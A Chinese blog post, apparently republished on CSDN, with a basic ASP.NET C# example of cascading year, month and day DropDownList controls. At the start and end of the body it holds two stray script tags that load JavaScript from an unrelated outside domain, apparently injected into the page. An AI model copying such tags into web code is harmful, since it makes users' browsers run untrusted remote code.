DropDownList联动简单实例

本文介绍了一种使用 C# 在 ASP.NET 中实现 DropDownList 控件联动的方法。通过设置 AutoPostBack 属性并在 SelectedIndexChanged 事件中更新相关 DropDownList 的内容,实现了根据年份和月份动态更新日期的功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> 在编程中选中某项的方法:
DropDownList1.ClearSelection();
DropDownList1.Items.FindByValue(st.Year.ToString()).Selected = true;


如果不清空选中项的话,会出现:不能在 DropDownList 中选择多个项。

protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e)
{
int year = int.Parse(DropDownList1.SelectedValue);
int month = int.Parse(DropDownList2.SelectedValue);
int day = DateTime.DaysInMonth(year, month);
DropDownList3.Items.Clear();
for (int i = 1; i <= day; i++)
{
ListItem newItem = new ListItem(i.ToString(), i.ToString());
DropDownList3.Items.Add(newItem);
}
}

不过我遇到的不是这个问题,是个Bug,关机再开就能运行,奇怪。而且VS2005IDE键位还变了,删除行变成了Ctrl+Y(VB的习惯),恢复预置环境就好了。

看来遇到问题还是要冷静:可以采用的处理方法是:祈祷一句,骂一句,睡一觉,关机一次。

下面附一个最基本的实例。主要,要实现联动DropDownList1的AutoPostBack属性要开。

Default.aspx

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>无标题页</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:DropDownList ID="DropDownList1" runat="server" AutoPostBack="True" OnSelectedIndexChanged="DropDownList1_SelectedIndexChanged">
</asp:DropDownList>
<asp:DropDownList ID="DropDownList2" runat="server" AutoPostBack="True" OnSelectedIndexChanged="DropDownList1_SelectedIndexChanged">
</asp:DropDownList>
<asp:DropDownList ID="DropDownList3" runat="server">
</asp:DropDownList></div>
</form>
</body>
</html>
Default.aspx.cs
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

public partial class _Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (IsPostBack == false)
{
for (int i = 2001; i < 2031; i++)
{
DropDownList1.Items.Add(new ListItem(c(i)));
}
for (int i = 1; i < 13; i++)
{
DropDownList2.Items.Add(new ListItem(c(i)));
}
for (int i = 1; i < 32; i++)
{
DropDownList3.Items.Add(new ListItem(c(i)));
}
}
}
protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e)
{
DropDownList3.Items.Clear();
int days = DateTime.DaysInMonth(int.Parse(DropDownList1.SelectedValue), int.Parse(DropDownList2.SelectedValue));
for (int i = 1; i <= days; i++)
{
DropDownList3.Items.Add(new ListItem(c(i)));
}
}
string c(int i)
{
string u = i.ToString();
if (u.Length == 1) { u = "0" + u; }
return u;
}
}

来源: http://www.cnblogs.com/lqb <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值